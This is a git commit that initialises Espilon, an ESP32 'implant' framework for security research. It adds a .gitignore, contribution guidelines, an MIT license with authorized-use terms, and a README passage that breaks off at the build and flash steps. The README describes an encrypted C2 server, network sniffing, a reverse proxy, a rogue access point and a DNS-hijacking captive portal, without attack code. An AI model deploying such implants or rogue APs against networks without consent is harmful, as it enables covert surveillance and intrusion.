ε - Init Sources
This commit is contained in:
commit
9ef72771dc
103
.gitignore
vendored
Normal file
103
.gitignore
vendored
Normal file
@ -0,0 +1,103 @@
|
||||
# ESP-IDF Build System
|
||||
espilon_bot/build/
|
||||
espilon_bot/sdkconfig
|
||||
espilon_bot/sdkconfig.old
|
||||
espilon_bot/.config
|
||||
espilon_bot/.config.old
|
||||
|
||||
# Managed Components (downloaded dependencies)
|
||||
espilon_bot/managed_components/
|
||||
espilon_bot/dependencies.lock
|
||||
|
||||
# Firmware binaries
|
||||
espilon_bot/firmware/
|
||||
*.bin
|
||||
*.elf
|
||||
*.map
|
||||
|
||||
# Python
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
*.so
|
||||
.Python
|
||||
*.egg-info/
|
||||
dist/
|
||||
build/
|
||||
venv/
|
||||
env/
|
||||
ENV/
|
||||
.venv
|
||||
|
||||
# Tools - Python dependencies
|
||||
tools/c2/__pycache__/
|
||||
tools/c3po/__pycache__/
|
||||
tools/flasher/__pycache__/
|
||||
*.pyc
|
||||
|
||||
# Configuration files with secrets
|
||||
tools/flasher/devices.json
|
||||
tools/flasher/devices.*.json
|
||||
tools/c2/config.json
|
||||
tools/c3po/config.json
|
||||
**/config.local.json
|
||||
|
||||
# Logs
|
||||
*.log
|
||||
logs/
|
||||
espilon_bot/logs/
|
||||
|
||||
# IDE and Editor
|
||||
.vscode/
|
||||
!.vscode/settings.json
|
||||
!.vscode/tasks.json
|
||||
!.vscode/launch.json
|
||||
!.vscode/extensions.json
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
.DS_Store
|
||||
|
||||
# OS
|
||||
Thumbs.db
|
||||
.DS_Store
|
||||
*.bak
|
||||
|
||||
# Credentials and Secrets
|
||||
*.pem
|
||||
*.key
|
||||
*.crt
|
||||
*.p12
|
||||
secrets/
|
||||
credentials/
|
||||
.env
|
||||
.env.local
|
||||
|
||||
# Temporary files
|
||||
*.tmp
|
||||
*.temp
|
||||
.cache/
|
||||
|
||||
# Documentation build
|
||||
docs/_build/
|
||||
docs/.doctrees/
|
||||
site/
|
||||
|
||||
# Test coverage
|
||||
.coverage
|
||||
htmlcov/
|
||||
.pytest_cache/
|
||||
|
||||
# nanoPB generated files (if you want to regenerate them)
|
||||
# Uncomment if you want to track generated .pb.c/.pb.h files
|
||||
# espilon_bot/components/core/nanoPB/*.pb.c
|
||||
# espilon_bot/components/core/nanoPB/*.pb.h
|
||||
|
||||
# Backup files
|
||||
*.backup
|
||||
*_backup
|
||||
|
||||
# Hardware-specific configs (optional)
|
||||
# Uncomment if you don't want to track these
|
||||
# espilon_bot/partitions.csv
|
||||
634
CONTRIBUTING.md
Normal file
634
CONTRIBUTING.md
Normal file
@ -0,0 +1,634 @@
|
||||
# Contributing to Espilon
|
||||
|
||||
Thank you for your interest in contributing to Espilon! This document provides guidelines and instructions for contributing to the project.
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Code of Conduct](#code-of-conduct)
|
||||
- [How Can I Contribute?](#how-can-i-contribute)
|
||||
- [Development Setup](#development-setup)
|
||||
- [Coding Standards](#coding-standards)
|
||||
- [Commit Guidelines](#commit-guidelines)
|
||||
- [Pull Request Process](#pull-request-process)
|
||||
- [Security Contributions](#security-contributions)
|
||||
- [Community](#community)
|
||||
|
||||
---
|
||||
|
||||
## Code of Conduct
|
||||
|
||||
### Our Standards
|
||||
|
||||
- **Be respectful**: Treat everyone with respect and kindness
|
||||
- **Be collaborative**: Work together to improve the project
|
||||
- **Be responsible**: This is a security tool - use it ethically
|
||||
- **Be professional**: Maintain professional communication
|
||||
- **Be patient**: Help newcomers learn and grow
|
||||
|
||||
### Unacceptable Behavior
|
||||
|
||||
- Harassment, discrimination, or offensive comments
|
||||
- Sharing malicious code or exploits for illegal purposes
|
||||
- Unauthorized testing against third-party systems
|
||||
- Trolling, insulting, or derogatory comments
|
||||
- Publishing others' private information
|
||||
|
||||
**Violations**: Please report to project maintainers. Serious violations may result in being banned from the project.
|
||||
|
||||
---
|
||||
|
||||
## How Can I Contribute?
|
||||
|
||||
### Reporting Bugs
|
||||
|
||||
**Before submitting a bug report**:
|
||||
1. Check the [documentation](docs/) for common issues
|
||||
2. Search [existing issues](https://github.com/yourusername/epsilon/issues) to avoid duplicates
|
||||
3. Try to reproduce with the latest version
|
||||
|
||||
**Good bug reports include**:
|
||||
- Clear, descriptive title
|
||||
- Steps to reproduce the issue
|
||||
- Expected vs actual behavior
|
||||
- ESP32 variant and board type
|
||||
- ESP-IDF version
|
||||
- Configuration (`sdkconfig` relevant parts)
|
||||
- Serial output/logs
|
||||
- Screenshots (if applicable)
|
||||
|
||||
**Bug Report Template**:
|
||||
```markdown
|
||||
## Description
|
||||
[Clear description of the bug]
|
||||
|
||||
## Steps to Reproduce
|
||||
1. Configure device with...
|
||||
2. Execute command...
|
||||
3. Observe error...
|
||||
|
||||
## Expected Behavior
|
||||
[What should happen]
|
||||
|
||||
## Actual Behavior
|
||||
[What actually happens]
|
||||
|
||||
## Environment
|
||||
- ESP32 Variant: ESP32/ESP32-S2/ESP32-S3/etc.
|
||||
- Board: DevKit/ESP32-CAM/Custom
|
||||
- ESP-IDF Version: v5.3.2
|
||||
- Espilon Version: commit hash or version
|
||||
|
||||
## Logs
|
||||
```
|
||||
[Paste relevant logs here]
|
||||
```
|
||||
|
||||
## Additional Context
|
||||
[Any other relevant information]
|
||||
```
|
||||
|
||||
### Suggesting Features
|
||||
|
||||
**Feature requests should**:
|
||||
- Have a clear use case
|
||||
- Align with project goals (security research/education)
|
||||
- Consider resource constraints (ESP32 limitations)
|
||||
- Include implementation ideas (if possible)
|
||||
|
||||
**Feature Request Template**:
|
||||
```markdown
|
||||
## Feature Description
|
||||
[Clear description of the proposed feature]
|
||||
|
||||
## Use Case
|
||||
[Why is this feature needed? What problem does it solve?]
|
||||
|
||||
## Proposed Implementation
|
||||
[How could this be implemented? Consider:]
|
||||
- Memory requirements
|
||||
- CPU usage
|
||||
- Network bandwidth
|
||||
- Module structure
|
||||
- Configuration options
|
||||
|
||||
## Alternatives Considered
|
||||
[Other approaches you've thought about]
|
||||
|
||||
## Additional Context
|
||||
[Mockups, examples, references]
|
||||
```
|
||||
|
||||
### Contributing Code
|
||||
|
||||
**Types of contributions welcome**:
|
||||
|
||||
- Bug fixes
|
||||
- New modules or commands
|
||||
- Documentation improvements
|
||||
- Code quality improvements (refactoring, optimization)
|
||||
- Tests and test infrastructure
|
||||
- Security enhancements
|
||||
- Translations
|
||||
- Tool improvements (C2, flasher, etc.)
|
||||
|
||||
**Getting started**:
|
||||
|
||||
1. Fork the repository
|
||||
2. Create a feature branch
|
||||
3. Make your changes
|
||||
4. Test thoroughly
|
||||
5. Submit a pull request
|
||||
|
||||
---
|
||||
|
||||
## Development Setup
|
||||
|
||||
### Prerequisites
|
||||
|
||||
- ESP-IDF v5.3.2 or compatible
|
||||
- Python 3.8+
|
||||
- Git
|
||||
- ESP32 development board (for testing)
|
||||
|
||||
### Fork and Clone
|
||||
|
||||
```bash
|
||||
# Fork repository on GitHub, then:
|
||||
git clone https://github.com/YOUR-USERNAME/epsilon.git
|
||||
cd epsilon
|
||||
|
||||
# Add upstream remote
|
||||
git remote add upstream https://github.com/original-owner/epsilon.git
|
||||
```
|
||||
|
||||
### Set Up Development Environment
|
||||
|
||||
```bash
|
||||
# Install ESP-IDF
|
||||
cd ~/esp
|
||||
git clone --recursive --branch v5.3.2 https://github.com/espressif/esp-idf.git
|
||||
cd esp-idf
|
||||
./install.sh esp32
|
||||
. ./export.sh
|
||||
|
||||
# Install Python dependencies (for C2)
|
||||
cd /path/to/epsilon/tools/c2
|
||||
pip3 install -r requirements.txt
|
||||
```
|
||||
|
||||
### Create Feature Branch
|
||||
|
||||
```bash
|
||||
# Update your fork
|
||||
git checkout main
|
||||
git pull upstream main
|
||||
|
||||
# Create feature branch
|
||||
git checkout -b feature/your-feature-name
|
||||
```
|
||||
|
||||
**Branch naming conventions**:
|
||||
- `feature/feature-name` - New features
|
||||
- `fix/bug-description` - Bug fixes
|
||||
- `docs/topic` - Documentation updates
|
||||
- `refactor/component-name` - Code refactoring
|
||||
- `test/test-description` - Test additions
|
||||
|
||||
---
|
||||
|
||||
## Coding Standards
|
||||
|
||||
### C Code (ESP32 Firmware)
|
||||
|
||||
**Style Guide**:
|
||||
- **Indentation**: 4 spaces (NO tabs)
|
||||
- **Braces**: K&R style (opening brace on same line)
|
||||
- **Naming**:
|
||||
- Functions: `snake_case` (e.g., `process_command`)
|
||||
- Variables: `snake_case` (e.g., `device_id`)
|
||||
- Constants: `UPPER_SNAKE_CASE` (e.g., `MAX_BUFFER_SIZE`)
|
||||
- Macros: `UPPER_SNAKE_CASE`
|
||||
- Structs: `snake_case_t` (e.g., `command_t`)
|
||||
|
||||
**Example**:
|
||||
```c
|
||||
#include "esp_log.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "MODULE"
|
||||
#define MAX_RETRIES 3
|
||||
|
||||
typedef struct {
|
||||
char name[32];
|
||||
int value;
|
||||
} config_t;
|
||||
|
||||
static int process_data(const uint8_t *data, size_t len)
|
||||
{
|
||||
if (data == NULL || len == 0) {
|
||||
ESP_LOGE(TAG, "Invalid parameters");
|
||||
return -1;
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
// Process data
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
**Best Practices**:
|
||||
- Use ESP_LOG* macros for logging (not printf)
|
||||
- Check return values and handle errors
|
||||
- Free allocated memory (no leaks)
|
||||
- Use const for read-only parameters
|
||||
- Validate input parameters
|
||||
- Document complex logic with comments
|
||||
- Keep functions small and focused
|
||||
- No global mutable state (use static or pass context)
|
||||
- No magic numbers (use named constants)
|
||||
- No commented-out code (use git history)
|
||||
|
||||
### Python Code (C2 Server)
|
||||
|
||||
**Style Guide**: [PEP 8](https://pep8.org/)
|
||||
- **Indentation**: 4 spaces
|
||||
- **Line length**: 100 characters max
|
||||
- **Naming**:
|
||||
- Functions: `snake_case`
|
||||
- Classes: `PascalCase`
|
||||
- Constants: `UPPER_SNAKE_CASE`
|
||||
- Private: `_leading_underscore`
|
||||
|
||||
**Example**:
|
||||
```python
|
||||
import logging
|
||||
from typing import List, Optional
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
class DeviceManager:
|
||||
"""Manages connected ESP32 devices."""
|
||||
|
||||
def __init__(self):
|
||||
self._devices = {}
|
||||
|
||||
def add_device(self, device_id: str, connection) -> None:
|
||||
"""Add a new device to the registry."""
|
||||
if not device_id:
|
||||
raise ValueError("device_id cannot be empty")
|
||||
|
||||
self._devices[device_id] = connection
|
||||
logger.info(f"Device added: {device_id}")
|
||||
|
||||
def get_device(self, device_id: str) -> Optional[object]:
|
||||
"""Retrieve device by ID."""
|
||||
return self._devices.get(device_id)
|
||||
```
|
||||
|
||||
**Best Practices**:
|
||||
- Type hints for function signatures
|
||||
- Docstrings for classes and public functions
|
||||
- Use logging module (not print statements)
|
||||
- Handle exceptions appropriately
|
||||
- Use context managers (`with` statements)
|
||||
- Run `black` for formatting
|
||||
- Run `flake8` for linting
|
||||
|
||||
**Tools**:
|
||||
```bash
|
||||
# Format code
|
||||
black tools/c2/
|
||||
|
||||
# Check style
|
||||
flake8 tools/c2/
|
||||
|
||||
# Type checking
|
||||
mypy tools/c2/
|
||||
```
|
||||
|
||||
### Documentation
|
||||
|
||||
**Markdown Style**:
|
||||
- Use ATX-style headers (`#`, `##`, `###`)
|
||||
- Code blocks with language specifiers
|
||||
- Tables for structured data
|
||||
- Lists for sequential or unordered items
|
||||
|
||||
**Code Comments**:
|
||||
- Explain **why**, not **what** (code shows what)
|
||||
- Keep comments up-to-date with code
|
||||
- Use TODO/FIXME/NOTE for temporary notes
|
||||
- Remove obsolete comments
|
||||
|
||||
---
|
||||
|
||||
## Commit Guidelines
|
||||
|
||||
### Commit Message Format
|
||||
|
||||
```
|
||||
<type>(<scope>): <subject>
|
||||
|
||||
<body>
|
||||
|
||||
<footer>
|
||||
```
|
||||
|
||||
**Types**:
|
||||
- `feat`: New feature
|
||||
- `fix`: Bug fix
|
||||
- `docs`: Documentation changes
|
||||
- `style`: Code style (formatting, no logic change)
|
||||
- `refactor`: Code refactoring
|
||||
- `test`: Add or modify tests
|
||||
- `chore`: Build system, dependencies, etc.
|
||||
|
||||
**Scope** (optional): Module or component affected
|
||||
- `core`, `mod_network`, `mod_fakeap`, `c2`, `docs`, etc.
|
||||
|
||||
**Examples**:
|
||||
```
|
||||
feat(mod_network): add ARP scanning functionality
|
||||
|
||||
Implements ARP scanner with batch processing to discover
|
||||
devices on local network. Scans /24 subnet in ~30 seconds.
|
||||
|
||||
Closes #42
|
||||
|
||||
---
|
||||
|
||||
fix(core): prevent memory leak in crypto module
|
||||
|
||||
Free allocated buffer after Base64 encoding.
|
||||
Fixes memory leak that caused crashes after ~1000 messages.
|
||||
|
||||
Fixes #55
|
||||
|
||||
---
|
||||
|
||||
docs(install): add GPRS setup instructions
|
||||
|
||||
Adds detailed wiring diagrams and configuration steps
|
||||
for SIM800 module integration.
|
||||
```
|
||||
|
||||
**Rules**:
|
||||
- Subject line: 50 characters or less
|
||||
- Subject: Imperative mood ("add" not "added" or "adds")
|
||||
- Subject: Lowercase (except proper nouns)
|
||||
- Subject: No period at end
|
||||
- Body: Wrap at 72 characters
|
||||
- Body: Explain what and why (not how)
|
||||
- Footer: Reference issues (Closes #123, Fixes #456)
|
||||
|
||||
---
|
||||
|
||||
## Pull Request Process
|
||||
|
||||
### Before Submitting
|
||||
|
||||
**Checklist**:
|
||||
- [ ] Code follows style guide
|
||||
- [ ] All tests pass (if applicable)
|
||||
- [ ] New code has comments
|
||||
- [ ] Documentation updated (if needed)
|
||||
- [ ] Commit messages follow guidelines
|
||||
- [ ] Branch is up-to-date with upstream main
|
||||
- [ ] No merge conflicts
|
||||
- [ ] Tested on actual hardware (for firmware changes)
|
||||
|
||||
### Testing
|
||||
|
||||
**For firmware changes**:
|
||||
```bash
|
||||
cd espilon_bot
|
||||
idf.py build
|
||||
idf.py flash
|
||||
idf.py monitor
|
||||
# Verify functionality
|
||||
```
|
||||
|
||||
**For C2 changes**:
|
||||
```bash
|
||||
cd tools/c2
|
||||
python3 c3po.py --port 2626
|
||||
# Test with connected ESP32
|
||||
```
|
||||
|
||||
**For module changes**:
|
||||
- Test all commands in the module
|
||||
- Test error cases (invalid args, hardware failures, etc.)
|
||||
- Test under different conditions (weak WiFi, GPRS, etc.)
|
||||
|
||||
### Submitting Pull Request
|
||||
|
||||
1. **Push to your fork**:
|
||||
```bash
|
||||
git push origin feature/your-feature-name
|
||||
```
|
||||
|
||||
2. **Create PR on GitHub**:
|
||||
- Go to your fork on GitHub
|
||||
- Click "Compare & pull request"
|
||||
- Fill out the PR template
|
||||
|
||||
3. **PR Description Template**:
|
||||
```markdown
|
||||
## Description
|
||||
[Clear description of changes]
|
||||
|
||||
## Motivation
|
||||
[Why is this change needed?]
|
||||
|
||||
## Changes Made
|
||||
- [ ] Added feature X
|
||||
- [ ] Fixed bug Y
|
||||
- [ ] Updated documentation Z
|
||||
|
||||
## Testing
|
||||
[How was this tested?]
|
||||
- [ ] Tested on ESP32 DevKit
|
||||
- [ ] Tested with C2 server
|
||||
- [ ] Tested error cases
|
||||
|
||||
## Screenshots/Logs
|
||||
[If applicable]
|
||||
|
||||
## Breaking Changes
|
||||
[List any breaking changes, or write "None"]
|
||||
|
||||
## Checklist
|
||||
- [ ] Code follows style guide
|
||||
- [ ] Tests pass
|
||||
- [ ] Documentation updated
|
||||
- [ ] Tested on hardware
|
||||
|
||||
## Related Issues
|
||||
Closes #123
|
||||
Fixes #456
|
||||
```
|
||||
|
||||
### Review Process
|
||||
|
||||
**What to expect**:
|
||||
1. Maintainer reviews your code (usually within 1 week)
|
||||
2. Feedback and requested changes (if any)
|
||||
3. You address feedback and update PR
|
||||
4. Maintainer approves and merges
|
||||
|
||||
**Responding to feedback**:
|
||||
- Be open to suggestions
|
||||
- Ask questions if unclear
|
||||
- Make requested changes in new commits (don't force-push)
|
||||
- Mark conversations as resolved
|
||||
|
||||
---
|
||||
|
||||
## Security Contributions
|
||||
|
||||
### Reporting Security Vulnerabilities
|
||||
|
||||
**DO NOT open public issues for security vulnerabilities**
|
||||
|
||||
Instead:
|
||||
1. Email: [security@epsilon-project.org] (to be set up)
|
||||
2. Include:
|
||||
- Description of vulnerability
|
||||
- Steps to reproduce
|
||||
- Potential impact
|
||||
- Suggested fix (if any)
|
||||
3. Wait for acknowledgment (48 hours)
|
||||
4. Work with maintainers on responsible disclosure
|
||||
|
||||
### Security Enhancements
|
||||
|
||||
Security improvements are highly valued:
|
||||
- Cryptography enhancements (ChaCha20-Poly1305, TLS, etc.)
|
||||
- Input validation improvements
|
||||
- Memory safety improvements
|
||||
- Secure defaults
|
||||
|
||||
**Guidelines**:
|
||||
- Clearly document security implications
|
||||
- Consider backward compatibility
|
||||
- Provide migration guide if breaking changes
|
||||
- Reference security standards (OWASP, NIST, etc.)
|
||||
|
||||
### Ethical Use
|
||||
|
||||
**All contributions must**:
|
||||
- Promote responsible security research
|
||||
- Include appropriate warnings for sensitive features
|
||||
- Not enable or encourage malicious use
|
||||
- Comply with responsible disclosure principles
|
||||
|
||||
---
|
||||
|
||||
## Community
|
||||
|
||||
### Communication Channels
|
||||
|
||||
- **GitHub Issues**: Bug reports, feature requests
|
||||
- **GitHub Discussions**: Questions, ideas, general discussion
|
||||
- **Pull Requests**: Code contributions
|
||||
- **Discord**: [To be set up] Real-time chat
|
||||
|
||||
### Getting Help
|
||||
|
||||
**Resources**:
|
||||
1. Read the [documentation](docs/)
|
||||
2. Search [existing issues](https://github.com/yourusername/epsilon/issues)
|
||||
3. Check [discussions](https://github.com/yourusername/epsilon/discussions)
|
||||
4. Ask in Discord (for quick questions)
|
||||
5. Open a new issue (for bugs or feature requests)
|
||||
|
||||
**When asking for help**:
|
||||
- Provide context and details
|
||||
- Show what you've already tried
|
||||
- Include relevant logs or screenshots
|
||||
- Be patient and respectful
|
||||
|
||||
### Recognition
|
||||
|
||||
Contributors will be:
|
||||
- Listed in project AUTHORS file
|
||||
- Mentioned in release notes (for significant contributions)
|
||||
- Credited in documentation (where appropriate)
|
||||
|
||||
---
|
||||
|
||||
## Development Resources
|
||||
|
||||
### Useful Links
|
||||
|
||||
**ESP-IDF**:
|
||||
- [ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)
|
||||
- [API Reference](https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-reference/index.html)
|
||||
- [ESP32 Forums](https://esp32.com/)
|
||||
|
||||
**Protocol Buffers**:
|
||||
- [Protocol Buffers Guide](https://protobuf.dev/)
|
||||
- [nanoPB Documentation](https://jpa.kapsi.fi/nanopb/)
|
||||
|
||||
**Cryptography**:
|
||||
- [mbedTLS Documentation](https://mbed-tls.readthedocs.io/)
|
||||
- [ChaCha20 RFC 8439](https://tools.ietf.org/html/rfc8439)
|
||||
|
||||
**Security**:
|
||||
- [OWASP IoT Top 10](https://owasp.org/www-project-internet-of-things/)
|
||||
- [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)
|
||||
|
||||
### Project Structure
|
||||
|
||||
```
|
||||
epsilon/
|
||||
├── espilon_bot/ # ESP32 firmware
|
||||
│ ├── components/ # Modular components
|
||||
│ │ ├── core/ # Core functionality
|
||||
│ │ ├── command/ # Command system
|
||||
│ │ ├── mod_system/ # System module
|
||||
│ │ ├── mod_network/ # Network module
|
||||
│ │ ├── mod_fakeAP/ # FakeAP module
|
||||
│ │ └── mod_recon/ # Recon module
|
||||
│ └── main/ # Main application
|
||||
├── tools/ # Supporting tools
|
||||
│ ├── c2/ # C2 server (Python)
|
||||
│ ├── flasher/ # Multi-flasher tool
|
||||
│ └── nan/ # NanoPB tools
|
||||
├── docs/ # Documentation
|
||||
│ ├── INSTALL.md
|
||||
│ ├── HARDWARE.md
|
||||
│ ├── MODULES.md
|
||||
│ ├── PROTOCOL.md
|
||||
│ └── SECURITY.md
|
||||
├── README.md # Main README (English)
|
||||
├── README.fr.md # French README
|
||||
├── LICENSE # MIT License
|
||||
└── CONTRIBUTING.md # This file
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## License
|
||||
|
||||
By contributing to Espilon, you agree that your contributions will be licensed under the [MIT License](LICENSE) with the same additional terms for security research tools.
|
||||
|
||||
---
|
||||
|
||||
## Questions?
|
||||
|
||||
If you have questions about contributing, please:
|
||||
1. Check this guide first
|
||||
2. Search existing discussions
|
||||
3. Open a new discussion on GitHub
|
||||
4. Ask in Discord (when available)
|
||||
|
||||
**Thank you for contributing to Espilon! 🚀**
|
||||
|
||||
---
|
||||
|
||||
**Last Updated**: 2025-12-26
|
||||
61
LICENSE
Normal file
61
LICENSE
Normal file
@ -0,0 +1,61 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Epsilon Project Contributors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
---
|
||||
|
||||
ADDITIONAL TERMS FOR SECURITY RESEARCH TOOLS
|
||||
|
||||
This software is a security research and educational tool. By using this
|
||||
software, you agree to the following additional terms:
|
||||
|
||||
1. AUTHORIZED USE ONLY: This software must only be used for authorized
|
||||
security testing, research, education, or other lawful purposes. You must
|
||||
have explicit permission to test any systems, networks, or devices that
|
||||
you do not own.
|
||||
|
||||
2. NO MALICIOUS USE: You may not use this software for any malicious,
|
||||
harmful, or illegal activities, including but not limited to: unauthorized
|
||||
access to systems, denial of service attacks, privacy violations, or any
|
||||
activity that violates local, state, national, or international laws.
|
||||
|
||||
3. USER RESPONSIBILITY: You are solely responsible for your use of this
|
||||
software and any consequences thereof. The authors and contributors
|
||||
assume no liability for misuse, damages, or legal issues arising from
|
||||
the use of this software.
|
||||
|
||||
4. NO WARRANTY: This software is provided for research and educational
|
||||
purposes. It comes with no warranty and the authors make no guarantees
|
||||
about its fitness for any particular purpose.
|
||||
|
||||
5. COMPLIANCE: You must comply with all applicable laws and regulations
|
||||
in your jurisdiction, including but not limited to: computer fraud and
|
||||
abuse laws, wiretapping laws, privacy laws, and telecommunications
|
||||
regulations.
|
||||
|
||||
6. ATTRIBUTION: When publishing research or educational materials based
|
||||
on this software, please provide appropriate attribution to the original
|
||||
authors and this project.
|
||||
|
||||
Unauthorized use of this software may violate applicable laws and could
|
||||
result in severe civil and criminal penalties.
|
||||
|
||||
USE AT YOUR OWN RISK.
|
||||
487
README.en.md
Normal file
487
README.en.md
Normal file
@ -0,0 +1,487 @@
|
||||
# Espilon
|
||||
|
||||
**Espilon** is an embedded agent framework for ESP32 microcontrollers, designed for network surveillance, reconnaissance, and distributed communication in constrained IoT environments. Developed in C with **ESP-IDF**, Espilon demonstrates how to build lightweight, efficient implants capable of communicating via Wi-Fi or GPRS.
|
||||
|
||||
[](LICENSE)
|
||||
[](https://github.com/espressif/esp-idf)
|
||||
[](https://www.espressif.com/en/products/socs/esp32)
|
||||
|
||||
> **IMPORTANT:** This is a security research and educational tool. It must only be used in authorized penetration testing, controlled environments, CTF competitions, or educational contexts. Unauthorized use against systems you don't own or have explicit permission to test is illegal.
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Overview](#overview)
|
||||
- [Features](#features)
|
||||
- [Architecture](#architecture)
|
||||
- [Getting Started](#getting-started)
|
||||
- [Modules](#modules)
|
||||
- [C2 Server](#c2-server)
|
||||
- [Configuration](#configuration)
|
||||
- [Hardware Requirements](#hardware-requirements)
|
||||
- [Security](#security)
|
||||
- [Documentation](#documentation)
|
||||
- [Roadmap](#roadmap)
|
||||
- [Contributing](#contributing)
|
||||
- [Authors](#authors)
|
||||
- [License](#license)
|
||||
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
Initially presented as a PoC at **Le Hack (June 2025)**, Espilon has evolved into a **modular codebase** that enables:
|
||||
|
||||
- Understanding embedded agent construction
|
||||
- Manipulating ESP32's low-level network stack
|
||||
- Developing specialized modules (sniffer, proxy, reconnaissance, vision)
|
||||
- Studying IoT communication scenarios in cybersecurity research contexts
|
||||
|
||||
The framework is **compatible with all ESP32 variants** supported by ESP-IDF and offers two network modes:
|
||||
|
||||
- **Wi-Fi** (802.11 b/g/n)
|
||||
- **GPRS** (SIM800/808 modules)
|
||||
|
||||
---
|
||||
|
||||
## Features
|
||||
|
||||
### Core Capabilities
|
||||
|
||||
- **Dual Network Backend**: WiFi or GPRS connectivity
|
||||
- **Encrypted C2 Communication**: ChaCha20 encryption with Protocol Buffers serialization
|
||||
- **Modular Architecture**: Enable/disable components at compile time
|
||||
- **Async Command Execution**: FreeRTOS-based task management
|
||||
- **Auto-reconnection**: Persistent TCP connection with automatic recovery
|
||||
- **Multi-device Support**: Centralized C2 can manage multiple agents simultaneously
|
||||
|
||||
### Network Tools
|
||||
|
||||
- **ARP Scanner**: Local network discovery
|
||||
- **Custom ICMP Ping**: Network reachability testing
|
||||
- **TCP Reverse Proxy**: Traffic forwarding and tunneling
|
||||
- **802.11 Packet Sniffer**: Monitor mode packet capture
|
||||
- **Network Traffic Generation**: Controlled testing scenarios
|
||||
|
||||
### Wireless Manipulation
|
||||
|
||||
- **Fake Access Point**: Rogue AP with WPA2 support
|
||||
- **Captive Portal**: DNS hijacking with customizable landing page
|
||||
- **AP+STA Concurrent Mode**: NAPT routing implementation
|
||||
- **Client Session Tracking**: Monitor connected devices
|
||||
|
||||
### Reconnaissance
|
||||
|
||||
- **ESP32-CAM Support**: Image capture and UDP streaming
|
||||
- **BLE Trilateration**: Position estimation using RSSI (WIP)
|
||||
- **Network Discovery**: Automated reconnaissance capabilities
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
Espilon is built on a **unified core** with an **ESP-IDF component system** activated at compile time.
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────┐
|
||||
│ ESP32 Agent │
|
||||
├─────────────────────────────────────────────────┤
|
||||
│ Modules: Network | FakeAP | Recon | System │
|
||||
├─────────────────────────────────────────────────┤
|
||||
│ Command Registry & Dispatcher │
|
||||
├─────────────────────────────────────────────────┤
|
||||
│ Core: WiFi/GPRS | Crypto | Protobuf | COM │
|
||||
├─────────────────────────────────────────────────┤
|
||||
│ LWIP Stack | FreeRTOS | ESP-IDF │
|
||||
└─────────────────────────────────────────────────┘
|
||||
│
|
||||
TCP (encrypted)
|
||||
│
|
||||
┌─────────────────────────────────────────────────┐
|
||||
│ C2 Server (Python) │
|
||||
├─────────────────────────────────────────────────┤
|
||||
│ CLI | Device Registry | Group Management │
|
||||
├─────────────────────────────────────────────────┤
|
||||
│ Transport | Crypto | Protobuf | Commands │
|
||||
└─────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### Core Components
|
||||
|
||||
The core provides:
|
||||
|
||||
- **Network Backend**: WiFi or GPRS (configured via `menuconfig`)
|
||||
- **Persistent TCP/IP**: Connection management with auto-reconnection
|
||||
- **Encryption**: ChaCha20 stream cipher
|
||||
- **Serialization**: nanoPB (Protocol Buffers for embedded systems)
|
||||
- **Command Parser**: Dispatches commands to registered handlers
|
||||
- **FreeRTOS Tasks**: Dedicated tasks for connection, processing, and crypto
|
||||
- **State Management**: Connection state tracking and recovery
|
||||
|
||||
See [ARCHITECTURE.md](docs/ARCHITECTURE.md) for detailed information.
|
||||
|
||||
---
|
||||
|
||||
## Getting Started
|
||||
|
||||
### Prerequisites
|
||||
|
||||
- **ESP-IDF v5.3.2** (or compatible version)
|
||||
- Python 3.8+ (for C2 server and tools)
|
||||
- ESP32 development board
|
||||
- USB-to-Serial adapter (if not integrated)
|
||||
|
||||
### Quick Start
|
||||
|
||||
1. **Clone the repository**
|
||||
|
||||
```bash
|
||||
git clone https://github.com/yourusername/epsilon.git
|
||||
cd epsilon
|
||||
```
|
||||
|
||||
2. **Set up ESP-IDF environment**
|
||||
|
||||
```bash
|
||||
. $HOME/esp-idf/export.sh
|
||||
```
|
||||
|
||||
3. **Configure the firmware**
|
||||
|
||||
```bash
|
||||
cd espilon_bot
|
||||
idf.py menuconfig
|
||||
```
|
||||
|
||||
Navigate to `Espilon Configuration` and set:
|
||||
- Network backend (WiFi/GPRS)
|
||||
- C2 server IP and port
|
||||
- Crypto keys (**CHANGE DEFAULT KEYS**)
|
||||
- Module selection
|
||||
|
||||
4. **Build and flash**
|
||||
|
||||
```bash
|
||||
idf.py build
|
||||
idf.py -p /dev/ttyUSB0 flash
|
||||
idf.py monitor
|
||||
